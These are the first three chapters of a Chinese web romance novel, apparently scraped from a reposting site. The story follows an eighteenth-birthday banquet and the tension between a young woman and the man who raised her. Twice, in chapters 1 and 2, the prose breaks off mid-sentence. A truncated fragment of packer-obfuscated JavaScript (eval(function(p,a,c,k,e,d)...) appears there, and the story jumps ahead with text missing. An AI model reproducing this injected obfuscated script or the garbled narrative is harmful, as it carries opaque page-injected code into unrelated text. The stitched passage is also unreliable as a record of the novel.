《绯色禁区[追妻]》 1. 第 1 章 《绯色禁区》 2025.10.18/凌风起/晋江首发 谢绝转载 刚下过一夜的雨,空气中到处弥漫着潮湿的味道。 宴家老宅坐落于半山腰的“云顶山庄”,浸在朦胧的雨雾中,显得影影绰绰。 从半山腰延伸出来的车道蜿蜒向上,一辆辆豪车在雨雾中缓缓爬行,车灯划破雨幕,晕开朦胧的光雾。 等终于驶入宴宅,黑色锻铁大门缓缓打开,车辆绕经过一座圆形喷泉,最后停在西侧的林荫道上。 立刻有侍者上前恭敬地迎上来,引着来宾往主宴会厅走去。 一路上可以看到两侧的柏树上缠绕着灯带,灯光竟有一种夺目的璀璨,隐隐折射出绯色的光芒。 走近才发现,是灯带上面镶满了粉钻,难怪璀璨万分。 每隔几步,便能看到一面精心布置的花墙,厄瓜多尔玫瑰、阿芙珂郁金香……都是粉色系的,走近一看,上面还凝着露珠,显然是刚空运过来不久。 这样的布置,虽只是细节,但细节处最能见心思。 这时人群中便有人开口:“宴家为那个寄养的小女孩办的成人宴,倒是费足了心思。” 话音落下,却没有人接茬,众人只是心照不宣一笑——这不是明摆着的吗,不过一个外姓女的成人宴,竟邀请了这么多北城名流,宴家邀请,他们自然不能不来。 请他们过来,不过是为了给她撑起场面,也帮她正式融入北城的圈子。 费了这样多的心思,宴西叙对她的宠爱,可见一斑。 —— 主宴会厅内,悬挂着一盏巨大的施华洛世奇水晶吊灯,数百颗水晶流光溢彩,华丽璀璨,摇曳的光影倒映在浅色大理石上,一派觥筹交错,衣香鬓影。 会厅正中央摆放着一座三层高的翻糖蛋糕,表面层层叠叠覆着精心雕琢的樱花浮雕,顶端竖了两个水晶立字——“18”,在灯光下十分璀璨夺目。一旁堆了些马卡龙、巧克力,都是些小女孩喜欢吃的甜食。 另一旁则是一座高高的香槟塔,以及一些招待宾客的茶点。 江氏的千金江令姿倚靠在窗前,摇晃着手中的香槟,目光望向窗外,轻抿了一口。 “令姿,看什么呢,这么入神?”周氏的大小姐周绮姗捏着香槟娉娉袅袅地走了过来。 江令姿转头看了她一眼,又把目光移向窗外,朝着西南的方向轻抬了下巴:“你看——” 周绮姗红唇微张,似有不解,也转头朝她的方向望了过去,西南的方向,是宴宅的庭院,此时入目竟是一大片樱花林,一夜的霪雨过后,樱花零落,一地的残粉,浸在未干的雨水中,揉碎了胭脂似的,倒像是下了一场樱花雨。 照理花瓣飘零,枝头该是十分稀疏才是,可眼前所见的那一片樱花林,樱花竟开得正盛,地上铺了一地残红,枝头灼灼绯色欲燃,两重花海,错落有致,美得让人心惊。 周绮姗不免讶然:“真是奇了,寒潮来临,昨晚下了一夜的雨,怎么樱花还能开得这么好?” 江令姿勾唇,若有所思地晃了晃手中的酒杯:“是啊,这生日宴的布置,可真是哪里都有意思。不知道宴家那位又在这片樱花林里花了什么心思。” “被雨打落在地上的,是早樱,原本半月后才会开败,一场寒潮,花瓣都被雨水打落了。现在开得正盛的,是被催熟的染井吉野,用私人温泉铺设的低热管道,为樱花提供热源,提早了花期,大约是为了这场成人礼。”一旁忽然传来一道温柔的女声。 两人齐齐回头,周绮姗在看到来人的刹那眼睛一亮,语气更是难掩兴奋:“微澜姐!你什么回国的?” 她嗔怪道:“怎么也不跟我说一声?” 宋微澜微微笑道:“昨晚刚落地,一回来就听我爸说接到了宴家的邀请,没睡几个小时就赶来了,实在是连知会你一声的时间也没有,不过,这不是也见到了吗?” 周绮姗上前亲昵地挽住她的手臂:“好久没见了,等这里结束,你可得陪我好好聚聚。”周家和宋家是世交,她和宋微澜是从小一起长大的情分,这几年宋微澜在国外上学,她们许久没见了,久别重逢,自然惊喜。 抛开叙旧不谈,宋家这几年涉足新兴科技产业,发展迅猛,集团市值飙升,在北城的声望几乎快赶上宴家,多亲近亲近宋微澜,总是没坏处的。 一旁的江令姿打量了宋微澜一眼,笑着转动了手中的酒杯:“几年不见,微澜姐真是越来越漂亮了。”说着不知想起了什么,略一挑眉,语气带了几分揶揄:“一落地就赶来宴宅参加成人宴,恐怕不只是为了那个寄养的小女孩庆生这么简单吧?” 周绮姗一怔,目光在两人之间扫过,也瞬间回味过来,跟着起哄道:“就是就是,微澜姐这么巴巴地赶来宴宅,仔细想想,还不是为了见宴家那位?恐怕你回国后第一个迫不及待想见的人,就是他吧……也是哦,毕竟你们也有很长时间没见了。” “微澜姐你这次回来后,应该不会走了吧?说不定用不了多久,我就能喝上你们的喜酒了。” 宋微澜脸颊微红,低垂下眼睫,嗔道:“胡说什么,都还是没影的事。” 周绮姗撇了撇嘴:“哪儿就没影了,那不是从小订的娃娃亲嘛。难不成宴家还想悔婚?” 这话一出,空气一时陷入了静默。 谁都知道宴家和宋家订的那段娃娃亲其实并不算多正式,不过是两家老人酒后的戏言,后来不知怎么传了出去,倒确实有这个说法,但这么多年过去了,双方都没提起,两家未必还认。 尤其是宴家,真要认的话,也该是宴家主动,没有让女方上赶着挑破的道理,可这么多年过去了,也没听宴家提起过只言片语。 但就算这事真不了了之了,宴家也不至于被扣上“悔婚”这顶帽子——本来也不是什么正式的婚约。 换言之,宴家倘若不想结这门亲,宋家无从指摘,宋微澜也拿他们没有一点办法。 ——周绮姗周大小姐说话一向不过大脑,眼下真是哪壶不开提哪壶。 江令姿对她使了个眼色,周绮姗也后知后觉地反应过来,朝她歉意地吐了吐舌头。 江令姿莞尔一笑:“娃娃亲不娃娃亲的,有没有这个重要么,宋宴两家门当户对,微澜姐家无论世背景还是学识样貌,哪样不是拔尖的,宴西叙不娶她还能娶谁啊?”几句话便化解了空气中那点微妙凝滞。 周绮姗连忙附和道:“对对,北城这个圈子里,也只有微澜姐和他最配了,他不娶你还能娶谁?” 又笑嘻嘻地道:“微澜姐,我等着喝你们的喜酒呢,早听说宴西叙宠他那位小侄女是出了名的,今天一看,传闻果然不假,连樱花都要被强行催熟,安排在她成人礼上盛开——他这么喜欢小女孩,我就提前预祝微澜姐到时候喜得千金啦。” 她一向管不住嘴,越说越口无遮拦:“不过说真的,微澜姐,未免夜长梦多,你和宴西叙的事还是抓紧点好,这些年我没少在八卦新闻上看到他真真假假的各种绯闻……说起来,他从小就招蜂引蝶,诶,还记得吗,我们在上中国际部念高中那一会儿,他一来整个学校都轰动了,没多久就有女生为他了闹起来,最夸张的是有两个闹到要跳楼,不过还好只是为了博眼球,没弄出人命……” “听说他在初中的时候就是风云人物了,不过我初中跟他不在一个学校,很多事不清楚,”说着想起什么,扭头看向一旁的周令姿:“诶,令姿,你初中不是和他一个学校的么,你说说呗……”却发现对方脸色不对,正在频频朝她使眼色,她这才发现她又说错话了,宴西叙这些乱七八糟的事,宋微澜会愿意听么?当下讪讪一笑,立刻闭了嘴。 还是周令姿再次替她圆场:“那些八卦记者,为了博人眼球,向来喜欢胡编乱造,无中生有,哪里能够当真?至于从前学校那些事,都过去这么久了,还提它做什么?” 周绮姗连忙附和道:“对对。”说着为了缓和气氛,又将话题扯了开去:“说起来,今日宴家最好看的风景,应该就是那片雨后绽放的樱花林了吧。” 话音刚落,宴会厅内忽然起了躁动。 宋微澜和周绮珊正在观赏樱花,那样美的樱花,迎着寒潮盛放,有一种别样的浪漫,令人目眩神迷,一时并没有注意到那边的动静。 江令姿却早早地转过了身,循着声音望过去,不由得微微一怔。 只见楼梯口缓缓走下一道身影,男人肩宽腿长,穿着一身休闲西装,衬衫最上面的两粒扣未系,领口微敞,透着一种随性的慵懒。 头顶高悬的水晶灯足够明亮,灯光从上打下,可以清晰地看清男人的一张脸。 顶级的骨相,披了张惊艳的皮囊。 明明一副浪荡的贵公子模样,周身却笼罩着淡淡的寂冷感。 挺峭的鼻梁被拓下淡淡的阴影。 他懒散地抬眼—— 眉骨下压着一双桃花眼,极漂亮的琥珀色,天生含着三分轻挑,深情又薄情。 他似乎早就习惯众人的注目,视线漫不经心地掠过,低头整理袖口时,腕表镜面一闪,底下露出一截冷白的手腕,腕骨突出,青筋爬上手背,有一种莫名的性感。 有些人,什么都不用做,只要站在那里,就能让人移不开眼。 宴西叙就是这样的人。 江令姿轻轻挑眉,一口喝尽剩下的香槟,唇角勾起一点笑意,转头对身旁的两人道:“喏,比樱花更好看的风景来了。” —— 宋微澜回头,正看到宴西叙走到宴会厅中央,从香槟塔上拿了一杯酒,一口饮尽了:“谢谢各位来参加绯绯的成人宴,玩儿得愉快。” 嗓音低而磁,尾音微微上扬,带着点漫不经心。 底下一片恭维声。 他眼底带着点倦懒的疏离,喝完酒后走到了靠窗的一边。 四下有议论声渐起:“他就是宴西叙?第一次见,我还以为是哪个小明星呢……我说怎么每次聚会都会有人打电话叫小明星过来作陪,我从来没见过他……又想长这么极品早该火了,不至于是个小明星,那我更该见过他……原来他就是宴西叙,难怪……” “是啊,之前听说在英国LSE念金融,近一年才回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宴西叙掀起眼皮看了她一眼,刚要开口,忽然听到哗啦一声巨大动静,似乎有什么轰然倒塌,碎落一地。 圆舞曲戛然而止。 众人都被这突如其来的动静吸引了注意,停下动作,纷纷转过头去。 只见原本高高的香槟塔已经倒塌,碎片散落一地,酒水流淌,一片狼藉。 而在那一堆碎片前,不知何时,站了一个少女。 乌发雪肤,五官精致侬丽,一头海藻般的卷发垂落至腰际。 身上穿着一件米白色高定礼服裙,薄纱流光,勾勒出纤细的腰肢。 发间戴着一顶铂金皇冠,在灯光下熠熠闪烁,仿佛加冕的公主。 这样的装扮,轻易让人猜到她就是今晚的主角,宴家那个刚满十八的小女孩——明绯。 宋微澜一愣,显然没有想到那个寄养的小女孩如今已经出落得亭亭玉立、貌美动人了。 只是这样的年纪,应该是天真活泼、无忧无虑的,她又是偏甜美的长相,瓷娃娃一般,气质却透着一股冷清疏离。 甚至看向她的眼神,带着一种漠然的审视。 ——她猛然反应过来,她居然在看她? 回过神来后,刚想转身问宴西叙什么,却发现他眉心深陷,正快步朝她走去。 她又是一愣,或许是见惯了他一贯散漫的做派,仿佛对周遭的一切都漫不在乎,所以乍然见到他对一个外人这么紧张关心,难免觉得不习惯。 结合明绯刚才看她的眼神,不知怎么,心底竟浮现一种说不清道不明的怪异感,然而等到要细想,那一缕思绪却怎么也抓不住。 再望向少女时,她早已移开视线,正一瞬不瞬地望着宴西叙,眼中拒人之外的清冷荡然无存,取而代之的是一种隐秘的渴望。 “不好意思小叔叔,”等到他走到眼前,少女垂下眼睫,轻声道:“我想拿一杯香槟,但是不小心弄倒了香槟塔……” “没事,这不重要。”宴西叙开口打断,蹙眉上下扫视着她,快速地问:“你有没有受伤?” 明绯垂在身侧的手微微蜷缩,片刻后,她朝他伸出了右手,掌心朝上,向他展示食指上的伤口:“没什么,就是不小心划伤了手……” 其实是很细小的一道划痕,边缘渗出了血,在瓷白的皮肤上十分显眼,但可以看出伤口并不深。 宴西叙收紧下颌,脸上的神情却立刻变得烦躁。 他低声骂了句脏话,一把牵过明绯的手腕,带着她快步走出了宴会厅:“没事,我带你去包扎。” 宋微澜目送两人走远,眉心蹙起。 随着两人的离开,这一段小插曲也迅速翻篇,音乐重新响了起来,男男女女又相继挽手跳舞,而在角落边,江令姿摩挲着酒杯,回想起刚才见到的那一幕,唇边浮上点玩味的笑意。 ——别人或许没有发现,可她亲眼看到,那座香槟塔,是那个叫做明绯的小女孩故意推倒的,她手上的伤口,也是她故意用碎瓷划伤的。 真有意思。 这么多年了,跟宴西叙搭边的事,还是那么有意思。 她从小就喜欢看戏。 而不出意外,关于宴氏,未来迟早有一场好戏可以看。 2. 第 2 章 宴宅的阁楼上。 落地窗的对面,放着一张浅灰色的磨砂沙发,上面摆着几个深灰色的几何抱枕,沙发前是一张黑色意氏茶几。 整个风格透着一股子性冷淡味道。 偏偏岩板上放着一只兔子玩偶,玩偶旁还有一袋草莓软糖,莫名打破了黑灰调的沉闷压抑。 兔子粉红的鼻头蹭着冰冷的台面,为这冷灰调的空间增添了一丝活气。 宴西叙拿来了医药箱——这阁楼算是他们的秘密基地,他从小混不吝,干过不少诸如自己还没成年,就因为明绯的一句话,连夜带她坐私人飞机去北欧看极光这样的混账事,没少挨宴老爷子的揍,每当这种时候,他就会上阁楼躲一阵,不过明绯一会儿见不到他就会哭,没办法,他只能把她也偷偷抱上来,久而久之,这里就成了两人共有的秘密基地,因为明绯老是磕着碰着,哭唧唧地来找他,所以这里一直备有医药箱。 把医药箱放在茶几上,宴西叙在她身边坐下,目光扫过她的伤口,不知道为什么,那里的血非但没有凝固,反而又渗出了许多,他眉心深陷,下意识地扼过她的手腕,想要含吮她的伤口,就像从前无数次那样。 指腹压在她的手腕附近,摩挲出一片温热。 手腕被抬起,他的唇贴近她的伤口,温热的气息拂过,激起细微的颤栗。 明绯的手指几不可察地蜷缩了一下,心跳加速。 她慢慢垂下眼睫,掩下眸底的情绪。 意料中温热濡湿的触感却并未如期而至,她眼睫微颤,疑惑地抬头:“小叔叔,怎么了?” “没事,”宴西叙唇角勾起一点弧度,抬手揉了揉她的脑袋,懒洋洋地道:“我的绯绯长大了,不能和从前一样了啊。” 说完低头慢条斯理地帮她缠好纱布。 明绯看着被包扎好的伤口,心底涌上一阵难言的失落,低下头,闷闷地“哦”了一声。 她第一次觉得,长大或许也没有那么好,至少这意味着她会失去某些特权。 “啪嗒”一声,是宴西叙合上了医药箱。 头顶上方传来他的声音:“怎么?今天是你生日,不开心?” 明绯闷闷地不说话。 宴西叙挑眉。 手指搭在她的手背,隔着纱布轻轻摩挲她的伤口:“很疼?” “疼……”她仰起脸,一双清透的荔枝眼氤氲着雾气,湿漉漉地看着他,眼尾还泛着未消的薄红,像一只摇尾乞怜的小猫咪。 宴西叙撩起眼皮,轻笑了声:“都长大了,还这么喜欢撒娇?” 明绯不以为意地哼了一声:“长大怎么了?长大了就不是小叔叔最亲密的人了么?” “当然。”宴西叙懒散地陷在沙发里,伸手将她散落的发丝别到耳后:“除了爷爷之外,绯绯是这个世上,和我最亲密的人。” 他难得收敛了一贯玩世不恭的神色,深看了她一眼,喉结上下滚动:“也是我最爱的人。” 阴云压了一上午,终于在临近中午时裂开一道缝隙。 阳光被纱幔过滤成一个个光斑,跳跃在少女的脸上,漂亮得不像话。 明绯唇角偷偷翘起,现出脸颊一侧的梨涡:“哼,这还差不多。” 宴西叙捏了捏她的脸颊,她的婴儿肥尚未完全褪去,脸颊软绵绵的,手感很不错。 他懒洋洋地道:“高兴了?” 明绯不说话,一双眼盛着清浅的阳光,越发亮得惊人。只微微凑近了他,莞尔一笑:“小叔叔能不能让我再高兴一点?” 宴西叙“嗯?”了声,声线倦懒:“什么?” “陪我跳今天的第一支舞。”她顿了顿,又补充,仿佛意有所指:“今天可是我的生日宴会,当然要陪我跳。” —— 宴西叙走到阁楼的陈列柜前,往CD机里随手放了一张碟片,很快就有沙沙的爵士乐流淌出来。 阳光透过阁楼的落地窗漫进来,在浅灰色的地毯上落下斑驳的光影。 他站在光影交界处,单手插兜,朝她伸手:“会跳《BlueMonk》吗?” 还不等她回答,她便被他一把拉至近前,宴西叙低头看着她,漫不经心地挑眉:“忘了?我教过你的。” 明绯亲昵地攀上他的肩,笑容甜美:“忘没忘,小叔叔试试就知道了。” 柔软纤细的腰肢在他的掌心下轻旋,脚步精准地踩上节拍,右踏、拖步,回身,每一个动作都丝毫不差,裙摆轻扫过男人的鞋尖,像是情人间的爱//.抚。 宴西叙挑眉,似乎有些意外她还记得。 距离上一次,久到他都忘记是什么时候了。 不过第一次教她跳舞的情形,他倒是还记得。 那是她初到宴家没多久,他刚为她转校的时候。 国际学校总是有各种各样的比赛和活动,那时明绯还只是个怯生生的小女孩,大约实在走投无路了,才会鼓起勇气叩开宴西叙的房门,在他面前吧嗒吧嗒掉眼泪:“小叔叔,学校让所有女生都准备一支舞蹈……” “可是……她们都是公主,只有我是丑小鸭……我不敢,而且我也不会……” “谁说的?”少年配合着她的身高,在她面前蹲下,抬手为她拭去脸上的泪痕:“公主不一定要有尊贵的身份,她也可以是有一颗勇敢的心,一股不服输的韧劲,只要你想,你也可以是公主。” “真的么?”小姑娘眼圈红红的,试探地问道:“谁说的?” 少年懒散地一笑:“我说的。” 小明绯怔怔地看着他:“小叔叔……” “好了,”少年伸手刮了一下她的鼻尖,终于收起了玩笑的神色:“别害怕,我会帮你,你不会跳舞,我可以教你啊。” “绯绯你记住,无论发生什么,我永远都会陪在你身边,你可以尽情依赖我——就凭,你叫我这一声小叔叔。” 后来宴西叙果然悉心教她跳舞,明绯人生学会的第一支舞,是他教的她。 还有很多人生的第一次体验,都是来自于他。 包括在参加舞蹈活动的前一晚,他将一顶铂金镶钻的皇冠戴在她头上,笑意散漫:“喏,加冕了,还说不是小公主?” 后来她在活动中表现得很出色,也终于蜕变成一个自信的白天鹅。 经过这件事后,她也对他越来越依赖。 两人日渐亲密,她要星星,宴西叙不会给她月亮。 她也曾经问过宴西叙为什么对她那么好。 为什么? 宴西叙轻笑了下,哪儿有那么多为什么。 最开始,是她爸爸救了他的爷爷,那是他在这个世上最在乎的人,所以他在没见到她之前,就天然地对她有一种好感,一种偏袒。 她和别人是不一样的。 当年宴老爷子在返回北城的路上遭遇山体滑坡,车辆失控撞破栏杆,悬在崖边,情况十分危急。可那里地处偏僻,鲜有人来,刚好那日明绯的父亲回去祭祖,路遇事故地点,不顾自身安危救下了宴老爷子。 自此结下了不解之缘。 宴老爷子醒来后十分感激,想要重金酬谢,明绯的父亲却不愿收下那笔天价酬谢费,宴老爷子拗他不过,转而提出收他为义子,可那时明绯的父亲不过二十四五,而宴老爷子已经年愈八十,这样的年纪差距,似乎差了不止一辈,索性便让他最心爱的孙子认他做大哥,以示对他的看重。 就这样,明绯也间接和宴家攀上了关系。 他也成了她的小叔叔。 后来宴老爷子病重,宴家人送他出国治疗,两家中断了几年联系。 等宴老爷子病愈后回到北城,正逢明家出了事,宴老爷子二话不说,立刻安排人过去照顾明家二老,又把明绯接了过来照顾。 自那以后,明绯就寄养在了宴家。 宴老爷子年事已高,大多时间都在医院,明绯几乎是宴西叙一手带大的。 他是独子,也是他那一辈最小的孩子,明绯的到来让他觉得新鲜,养小孩儿某种程度上来说还挺好玩儿,尤其是明绯这么软乎乖巧的小女孩,明明看向他的眼神充满了渴望,却又带着一股小心翼翼的胆怯,像只想蹭人手心又怯生生不敢近人的小奶猫,怎么看怎么可爱。 啧,这世上怎么会小女孩这么可爱的生物。 至此一发不可收拾,越宠越无度。 转眼十年过去了,当初那个怯生生的小女孩已经成长为一名真正的公主。 一曲舞毕,他松松掐着明绯的腰肢,含混笑了声:“舞步跳得丝毫不差,不错,我教你的你都记得,是个好学生,不枉小叔叔那么疼你。” 明绯伸手圈过他的脖颈,歪着脑袋,梨涡浅浅:“那小叔叔可以给我奖励吗?” “嗯?” 她踮起脚尖,凑到他的耳边,轻轻地道:“那就……请小叔叔再奖励我一曲。” 留声机里流淌出慵懒的曲调,像是情人间的缱绻低吟。 两人慢慢跳到沙发旁,结束时明绯一个收尾动作重心不稳,向后跌去,宴西叙右手扣住她的后腰,左手本能地护住她的后脑,因为惯性,两人齐齐跌进了沙发。 宴西叙陷在沙发里,充当了明绯的人肉垫。 脑袋重重地砸向了他的胸口,宴西叙闷哼一声。 明绯连忙抬起头,一脸紧张地看向他:“小叔叔,你没事吧?” “我能有什么事?”宴西叙挑眉笑:“还好躺下面的不是你……” 否则明绯那么娇气,被他这么一砸,不哭出来才怪。 少女轻轻蹙眉,咬着唇瓣,仿佛十分懊丧歉意似得,“对不起小叔叔……” “不用和我说对不起,绯绯又不是故意的,是不是,嗯?” 明绯眼睫轻颤,抿紧了唇,没说话。 只有清浅的呼吸若有似无地拂过他的颈侧。 宴西叙微微蹙眉,忽然注意到他们现在的距离太近了。 她一整个压在他的身上,膝盖卡在他的双腿之间,几乎和他严丝合缝。 裙子的白纱铺散在他的西装裤上,像一朵盛开的白茉莉。 热意沿着薄纱缓缓渗透,她身上很烫,眼神湿漉漉地看着他,白腻的耳垂以肉眼可见的速度变红。 空气变得粘稠而闷热。 有那么一瞬间,他在她眼里看到了一些熟悉的东西。 这个念头让他悚然一惊。 然而再抬头时,少女眼中也只有清澈的懵懂和茫然。 只是错觉而已,他松了口气。 然而究竟眼下的姿势实在太过暧//.昧。 宴西叙皱眉,沉声道:“绯绯,起来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明绯眼睛倏然亮了起来,忍不住欢呼:“谢谢小叔叔,你最好了!” “满意了?那请问明绯小姐,现在可以从我身上下来了么?” 明绯哼了一声,骄纵劲又上来了,头一撇,嘴巴翘得老高,不太开心地道:“干什么,小叔叔很讨厌我吗?要这样一直催我,我又不会不起来。” “好了祖宗,别玩儿了。”他只当是小女孩的恶作剧,语气宠溺中透着一丝无奈:“乖,我们得下去了。” 明绯依旧扒拉着他:“小叔叔,你今天,是不是还有一句话没跟我说?” 宴西叙掀起眼皮,试探问:“生日快乐?” “不然呢?” 明绯双手交叠贴在宴西叙的心口,将下巴枕了上去,戏谑道:“小叔叔以为是什么?” 窗外又渐渐下起了小雨,雨滴敲打着玻璃,在寂静的空间显得格外清晰。 雨水沿着落地窗的玻璃蜿蜒淌下,模糊了窗外的世界。 两人之间,气氛陡然变得微妙。 宴西叙眉心微蹙,有一瞬的走神,像是真的在认真思考还应该对她说什么话。 明绯回过神来,便是宴西叙这片刻的怔愣,她自觉已经达成了捉弄他的目的,得意地扬起唇角,心满意足地从他身上下来了。 宴西叙随后起身,慢条斯理地整理了被她弄乱的衣领。 明绯看着他,不知想到了什么,抿了抿唇,慢慢垂下了视线。 西装很快重新变得挺括,挺括到……很想让人把它再度弄皱。 —— 明绯和宴西叙回到大厅时,宴会已经正式开始。 大厅内的全息投影循环播放着明绯从八岁开始的影像,记录着小明绯成长的点点滴滴,还有她和亲人互动的画面——她和她的爷爷奶奶、宴老爷子……当然最多的,是宴西叙。 宋微澜捏着酒杯,抬头看着眼前影像的一幕—— 十二岁的明绯趴在游泳池旁,一只手紧紧拽着游泳圈,另一只手扒拉着少年宴西叙,仰着湿漉漉的一张小脸,紧张不安地看着他。 十八岁的宴西叙,在宋微澜的记忆中,矜贵疏离、目下无尘,时隔多年之后,她第一次见到那时的他用近乎温柔的口吻哄人—— “乖,松手,教你游泳而已。” “怕什么,这水很浅。” “游泳是必备的求生技能,你必须学会,绯绯,这个撒娇也没有用。” 她不禁有些失神,等回过神来后,画面已经切换,小明绯像是终于做好了心理建设,在游泳教练的指导下慢慢尝试着游了起来。 只是还是不敢大幅度往前游。 宴西叙走到泳池对面,在日光下微微眯起了眼:“过来,绯绯,游到小叔叔这边来。” 这招很奏效,明绯抬头怔怔地看着他,她是他的小跟屁虫,他走到哪儿,她都要跟到哪儿。闻言终于克服了心理障碍,按照一旁教练的指示,调整好换气节奏,放松踝关节,鞭状打水,像是被猫条引诱的小猫咪,奋力地朝他游了过去。 当游到对岸、成功扑入他的怀里时,也宣告了她正式学会了游泳。 …… 宋微澜猛地喝了一口酒,再转头望向宴西叙时,他正带着明绯与三三两两的政商名流碰杯颔首。 这是在为她铺路了,帮她融入北城的圈子,那她以后做什么事情都会顺利许多。 捏着杯盏的手慢慢收紧了,宋微澜眉心陷了下去。 不知是不是她的错觉,她总觉得,宴西叙对这个寄养的小女孩,似乎好得有些过头了。 3. 第 3 章 这场宴会持续到入夜,宾客才渐渐散去。 明绯今天喝了点酒,只是她的酒量和酒品都不太好,宴西叙扶她上阁楼的时候,她走路已经歪歪扭扭,宴西叙只能让她半靠在身上,扶着她的后腰往上走。 她喝多了就爱说话,一路上絮絮叨叨地说了很多,都是些不着边际的胡话,到后来或许是说累了,靠在他的肩上,好一会儿才低低地道:“小叔叔,你能不能对我更好一点。” 宴西叙一怔,轻笑了声:“祖宗,我对你还不够好啊。” 明绯抬头看他,许是醉酒的缘故,她的眸低浮着一层水色,嗓音有些闷:“不够,我想要更多。” 宴西叙挑眉,屈指刮了一下她的鼻尖,懒散地笑:“那你可真够贪心的。” “才不是。”明绯偏过头,轻哼:“小叔叔真讨厌。” 宴西叙“哦?”了声,继续逗小孩:“哪儿讨厌了?” 正说话间,阁楼的门已经被推开了,几乎是同一时间,明绯听到砰的一声巨响,只见一道粉光突然在天边炸开,无数细碎的光点在夜幕中缓缓散开,渐渐勾勒出一棵巨大樱花树的轮廓,枝桠依次亮起,最后万千绯光化作满树盛放的樱花。 樱花树足足保持了十秒,之后樱花状的光点开始簌簌飘落,紧接着在夜幕中炸开了一行祝词—— 明绯怔怔地看着天空,脸颊被映得泛红。 身后宴西叙走近,勾起唇角,低头靠近,嗓音透着磁性,将祝词在她耳边念了出来:“绯绯,成人快乐。” 话音刚落,第二棵樱花树又在天边绽放。 明绯怔怔地看着眼前美轮美奂的一幕,脸上洋溢着惊喜和雀跃,转头迫不及待地问宴西叙:“小叔叔,为什么会有这个!” 刚才在大厅她已经看过烟花秀了,本来以为已经够美了,没想到能在阁楼上看到更美的一幕。 宴西叙斜靠在窗前,闻言轻挑了眉:“某人不是说想在阁楼单独和我过一次生日么?既然是过生日,怎么能少的了烟花?何况这里观景绝佳,不安排燃放几场烟花,岂不是浪费?” 明绯眼神亮晶晶地看着他,欢呼起来:“太棒啦!” 宴西叙唇角懒懒一勾,笑得漫不经心:“还讨厌我吗?” “小叔叔最好啦!”明绯扑到他身前,正想踮起脚尖亲他脸,却被他伸出一根手指抵住肩,略往后推了推:“绯绯,”他嗓音微沉:“你长大了,说了不能再这样了,听见了?” 明绯不满地噘起嘴,好在之前他为她包扎伤口时,类似的事情已经有过一回,算是打过预防针,所以这回抗拒的情绪不至于太过激烈,何况窗外正在燃放烟花,美轮美奂,实在让人移不开眼,她很快又被吸引了注意力。 烟花足足燃放了十几分钟,才终于告一段落。 明绯恋恋不舍地收回视线,一回头,发现房间内不知何时已经关了灯,只有茶几上的生日蛋糕,因为插满了蜡烛,在黑暗中兀自圈出一片暖黄的光晕。 宴西叙整个人陷在沙发里,长腿随意交叠。晕黄的烛火笼罩在他的身上,让他看上去有一种莫名的温柔,视线相触的瞬间,他朝她勾了勾手:“绯绯,过来。” 烛光在他眉眼间缓缓流淌,桃花眼映着潋滟火光,眼尾微挑,有一种惊心的蛊惑。 明绯屏着呼吸,慢慢地走了过去。 她在他身边坐下,面前是一个三层丝绒红莓慕斯,她最喜欢的口味。 蛋糕上面插满了蜡烛,明绯数了下,正好十八支。 宴西叙看着她:“许个愿?” 明绯深看了他一眼,抿了抿唇,慢慢垂下眼睛,不知道在想些什么,直到宴西叙在她耳边打了个响指,她才回过神来。 她轻轻颤动了眼睫,闭上眼,十指相交,做祈祷状,几秒后,缓缓睁眼,吹灭了大半的蜡烛。 还有几支没有灭,不过她也懒得再吹,而是用手撑着下巴,看着未灭的几支蜡烛在黑暗中摇曳着,怔怔地不知道又在想什么。 茶几上还摆了一杯威士忌,明绯许愿的间隙,宴西叙随手端起酒杯,晃了晃,冰块碰撞杯壁发出清脆的声响。 他仰头喝了一口,放下酒杯时见明绯已经许完了愿,倒是有些意外。 往年她许愿都是大大方方讲给他听,怎么今年静悄悄?他微挑了眉,随意问道:“许了什么愿?” 明绯却没有说话。 他“嗯?”了一声,叫她:“绯绯?” 明绯这才慢吞吞地道:“……小叔叔,愿望说出来就不灵了。” 宴西叙“啧”了声,晃荡着酒杯:“那以往每年都巴不得在我耳边说上一万遍生日愿望的人,是谁啊。” “……那不一样。”明绯抿唇:“我现在,长大了啊。我是大人了,愿望也会不一样……反正,今天的愿望,还暂时不能让你知道……”话说到后面,声音越来越小,最后一句几乎只能自己听到:“我想你也不会想知道的,小叔叔。” 宴西叙拇指摩挲着杯沿,若有所思地看着她,声音听不出是什么情绪:“我的绯绯有秘密了。” 小女孩长大了,有了自己的秘密,他应该感到欣慰才对。 可或许是习惯了她从小对他的依赖与黏人,总是事无巨细、毫无保留地跟他分享关于她的一切,如今她突然之间转变了态度,让他有些不适应。 这种不适,细微到连他自己都几乎没有发觉。 宴西叙微眯了眼:“真不说?” 他轻轻晃荡酒杯,琥珀色的液体在暧//.昧的灯光下来回撞击杯壁,他唇角勾起一个若有似无的弧度,嗓音透着磁性,说出来的话,几乎是明晃晃的引诱:“假如我能帮你实现呢?” 这个条件足够诱惑,明绯眼睛亮了一瞬:“真的?”然而下一刻,眸底的光便又黯淡下来:“算了,”她喃喃地道:“会实现吗,还是……彻底的毁灭。” 宴西叙没听清,蹙眉问:“什么?” 明绯没接话,抬头见他正仰头将一杯威士忌一饮而尽,喉结随着吞咽的动作上下耸动,不知道是不是刚才喝了不少酒,这会儿竟觉得有些渴,她抿了抿唇,说:“小叔叔,我也想喝。” 宴西叙掀起眼皮,嗤了声:“小孩子喝什么酒?” “再说了,”他伸出手指,轻扣了桌面,大有事后算账的意思:“刚才宴会上,不是偷偷背着我喝了不少,怎么,还嫌不够?” “那又怎么,”明绯不服气地反驳:“我又不是小孩子了,我已经成人了。” 宴西叙:“刚成人的小孩也不许喝。” 这简直是毫不讲理,气得明绯直接叫了他的名字:“宴西叙!” “叫我什么?”宴西叙眯起眼:“胆子肥了,连小叔叔都不叫了?” 明绯到底还是不敢太嚣张,瘪了瘪嘴:“小叔叔,求求你了。” 少女一双漂亮的眼睛泛在烛光下泛着潋滟水色,雪白的贝齿咬着红唇,正可怜兮兮地看着他。 宴西叙额角一跳:“少来这套。” 明绯只是更加可怜地看着他,哼哼唧唧地叫着“小叔叔”。 事实证明 